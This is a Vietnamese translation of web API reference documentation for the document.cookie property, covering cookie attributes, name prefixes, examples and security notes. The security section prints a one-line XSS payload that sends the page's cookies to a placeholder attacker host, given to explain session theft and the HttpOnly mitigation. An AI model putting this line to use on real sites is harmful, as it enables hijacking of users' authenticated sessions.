Document: thuộc tính cookie

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2019.

Thuộc tính cookie của Document cho phép bạn đọc và ghi cookie liên kết với tài liệu. Nó đóng vai trò là getter và setter cho các giá trị cookie thực tế.

Note: document.cookie có thể là nguyên nhân gây ra vấn đề hiệu suất vì đây là API đồng bộ và chặn main thread khi đọc cookie qua các tiến trình hoặc thực hiện các thao tác I/O. Nếu có thể, nhà phát triển nên sử dụng Cookie Store API không đồng bộ để quản lý cookie.

Giá trị

Một chuỗi chứa danh sách tất cả cookie được phân tách bằng dấu chấm phẩy (tức là các cặp key=value). Lưu ý rằng mỗi keyvalue có thể được bao quanh bởi khoảng trắng (ký tự space và tab): trên thực tế, RFC 6265 yêu cầu một khoảng trắng sau mỗi dấu chấm phẩy, nhưng một số user agent có thể không tuân thủ điều này.

Bạn cũng có thể gán cho thuộc tính này một chuỗi có dạng "key=value", chỉ định cookie cần đặt/cập nhật. Lưu ý rằng bạn chỉ có thể đặt/cập nhật một cookie mỗi lần sử dụng phương thức này. Cân nhắc thêm rằng:

  • Bất kỳ thuộc tính cookie nào sau đây có thể tùy chọn theo sau cặp key-value, mỗi thuộc tính đứng trước một dấu chấm phẩy phân cách:

    • ;domain=domain (ví dụ: example.com hoặc subdomain.example.com): Host mà cookie sẽ được gửi đến. Nếu không được chỉ định, mặc định là phần host của vị trí tài liệu hiện tại và cookie không khả dụng trên các subdomain. Nếu domain được chỉ định, các subdomain luôn được bao gồm. Trái ngược với các đặc tả trước đó, các dấu chấm đứng đầu trong tên domain bị bỏ qua, nhưng các trình duyệt có thể từ chối đặt cookie chứa các dấu chấm đó.

      Note: Domain phải khớp với domain của nguồn gốc JavaScript. Việc đặt cookie cho domain nước ngoài sẽ bị bỏ qua âm thầm.

    • ;expires=date-in-UTCString-format: Ngày hết hạn của cookie. Nếu không chỉ định expires hoặc max-age, nó sẽ hết hạn khi kết thúc phiên.

      Warning: Khi quyền riêng tư của người dùng là mối quan tâm, điều quan trọng là bất kỳ triển khai web app nào cũng phải vô hiệu hóa dữ liệu cookie sau một khoảng thời gian nhất định thay vì dựa vào trình duyệt làm điều đó. Nhiều trình duyệt cho phép người dùng chỉ định rằng cookie không bao giờ hết hạn, điều này không nhất thiết an toàn.

      Xem Date.toUTCString() để được hỗ trợ định dạng giá trị này.

    • ;max-age=max-age-in-seconds: Tuổi tối đa của cookie tính bằng giây (ví dụ: 60*60*24*365 hoặc 31536000 cho một năm).

    • ;partitioned: Cho biết cookie nên được lưu trữ bằng partitioned storage. Xem Cookies Having Independent Partitioned State (CHIPS) để biết thêm chi tiết.

    • ;path=path: Giá trị của thuộc tính Path của cookie (Xem Xác định nơi cookie được gửi để biết thêm thông tin).

    • ;samesite: Thuộc tính SameSite của header Set-Cookie có thể được server đặt để chỉ định khi nào cookie sẽ được gửi. Các giá trị có thể là lax, strict hoặc none (xem thêm Kiểm soát cookie bên thứ ba với SameSite).

      • Giá trị lax sẽ gửi cookie cho tất cả các yêu cầu same-site và yêu cầu GET điều hướng top-level. Điều này đủ cho việc theo dõi người dùng, nhưng nó sẽ ngăn chặn nhiều cuộc tấn công Cross-Site Request Forgery (CSRF). Đây là giá trị mặc định trong các trình duyệt hiện đại.
      • Giá trị strict sẽ ngăn cookie được trình duyệt gửi đến trang đích trong tất cả các ngữ cảnh duyệt web cross-site, ngay cả khi theo một liên kết thông thường.
      • Giá trị none tuyên bố rõ ràng rằng không có hạn chế nào được áp dụng. Cookie sẽ được gửi trong tất cả các yêu cầu—cả cross-site và same-site.
    • ;secure: Chỉ định rằng cookie chỉ được truyền qua giao thức an toàn.

  • Chuỗi giá trị cookie có thể sử dụng encodeURIComponent() để đảm bảo chuỗi không chứa bất kỳ dấu phẩy, chấm phẩy hoặc khoảng trắng nào (không được phép trong giá trị cookie).

  • Tên cookie có thể có tiền tố áp đặt các hạn chế cụ thể đối với thuộc tính của cookie trong các user agent hỗ trợ. Tất cả tiền tố cookie bắt đầu bằng dấu gạch dưới kép (__) và kết thúc bằng dấu gạch ngang (-). Các tiền tố sau được định nghĩa:

    • __Secure-: Cookie có tên bắt đầu bằng __Secure- phải được đặt với thuộc tính Secure bởi một trang an toàn (HTTPS).
    • __Host-: Cookie có tên bắt đầu bằng __Host- phải được đặt với thuộc tính Secure bởi một trang an toàn (HTTPS). Ngoài ra, chúng không được có thuộc tính Domain và thuộc tính Path phải được đặt thành /. Điều này đảm bảo các cookie như vậy chỉ được gửi đến host đã đặt chúng, chứ không phải bất kỳ host nào khác trên domain.
    • __Http-: Cookie có tên bắt đầu bằng __Http- phải được đặt với cờ Secure bởi một trang an toàn (HTTPS) và ngoài ra phải có thuộc tính HttpOnly được đặt để chứng minh rằng chúng được đặt qua header Set-Cookie.
    • __Host-Http-: Cookie có tên bắt đầu bằng __Host-Http- phải được đặt với cờ Secure bởi một trang an toàn (HTTPS) và phải có thuộc tính HttpOnly được đặt để chứng minh rằng chúng được đặt qua header Set-Cookie. Ngoài ra, chúng cũng có các hạn chế giống như cookie có tiền tố __Host-.

    Note: Dấu gạch ngang được coi là một phần của tiền tố.

    Note: Các cờ này chỉ có thể đặt được với thuộc tính secure.

Note: Thuộc tính document.cookie là một accessor property với các hàm settergetter gốc, và do đó không phải là data property có giá trị: những gì bạn ghi không giống với những gì bạn đọc, mọi thứ luôn được trung gian bởi JavaScript interpreter.

Ví dụ

Ví dụ 1: Sử dụng đơn giản

html
<button id="show">Hiện cookie</button>
<button id="clear">Xóa</button>
<div>
  <code id="cookie-value"></code>
</div>
js
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");

// Lưu ý rằng chúng ta đang đặt `SameSite=None;` trong ví dụ này vì ví dụ
// cần hoạt động cross-origin.
// Thông thường hơn là không đặt thuộc tính `SameSite`, dẫn đến giá trị mặc định,
// và an toàn hơn, là `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

showBtn.addEventListener("click", () => {
  output.textContent = `> ${document.cookie}`;
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});
html
js

Ví dụ 3: Chỉ làm điều gì đó một lần

Để sử dụng mã sau, vui lòng thay thế tất cả các xuất hiện của từ doSomethingOnlyOnce (tên của cookie) bằng một tên tùy chỉnh.

html
<button id="do-once">Chỉ làm một lần</button>
<button id="clear">Xóa</button>
<div>
  <code id="output"></code>
</div>
js
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");

doOnceBtn.addEventListener("click", () => {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    output.textContent = "> Làm điều gì đó ở đây!";
  }
});
clearBtn.addEventListener("click", () => {
  output.textContent = "";
});
html
js
html
js
html
js

Bảo mật

Điều quan trọng cần lưu ý là thuộc tính path không bảo vệ cookie khỏi việc đọc trái phép từ một đường dẫn khác. Nó có thể dễ dàng bị vượt qua bằng DOM, ví dụ bằng cách tạo một phần tử <iframe> ẩn với đường dẫn của cookie, sau đó truy cập thuộc tính contentDocument.cookie của iframe này. Cách duy nhất để bảo vệ cookie là sử dụng một domain hoặc subdomain khác, do same origin policy.

Cookie thường được sử dụng trong các ứng dụng web để xác định người dùng và phiên đã xác thực của họ. Việc đánh cắp cookie từ một ứng dụng web dẫn đến việc chiếm quyền phiên của người dùng đã xác thực. Các cách phổ biến để đánh cắp cookie bao gồm sử dụng social engineering hoặc khai thác lỗ hổng cross-site scripting (XSS) trong ứng dụng:

js
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;

Thuộc tính cookie HTTPOnly có thể giúp giảm thiểu cuộc tấn công này bằng cách ngăn chặn truy cập vào giá trị cookie thông qua JavaScript. Đọc thêm về Cookie và Bảo mật.

Ghi chú

  • Bắt đầu từ Firefox 2, một cơ chế tốt hơn cho lưu trữ phía client là WHATWG DOM Storage.
  • Bạn có thể xóa cookie bằng cách cập nhật thời gian hết hạn của nó về 0.
  • Hãy nhớ rằng bạn càng có nhiều cookie, càng nhiều dữ liệu sẽ được chuyển giữa server và client cho mỗi yêu cầu. Điều này sẽ làm mỗi yêu cầu chậm hơn. Bạn nên sử dụng WHATWG DOM Storage nếu bạn định lưu dữ liệu "chỉ client".
  • RFC 2965 (Phần 5.3, "Giới hạn triển khai") chỉ ra rằng không có độ dài tối đa cho kích thước key hoặc value của cookie và khuyến khích các triển khai hỗ trợ cookie lớn tùy ý. Mỗi trình duyệt sẽ có giới hạn tối đa khác nhau, hãy tham khảo tài liệu của từng trình duyệt.

Lý do cho sự bất đối xứng giữa getter và setter của thuộc tính document.cookie là do tính chất client-server của cookie, khác với các phương thức lưu trữ client-client khác (như localStorage):

  • Server báo client lưu cookie:

    http
    HTTP/1.0 200 OK
    Content-type: text/html
    Set-Cookie: cookie_name1=cookie_value1
    Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
    
    [content of the page here]
    
  • Client gửi lại cookie đã lưu cho server:

    http
    GET /sample_page.html HTTP/1.1
    Host: www.example.org
    Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
    Accept: */*
    

Đặc tả kỹ thuật

Specification
HTML
# dom-document-cookie

Tương thích trình duyệt

Xem thêm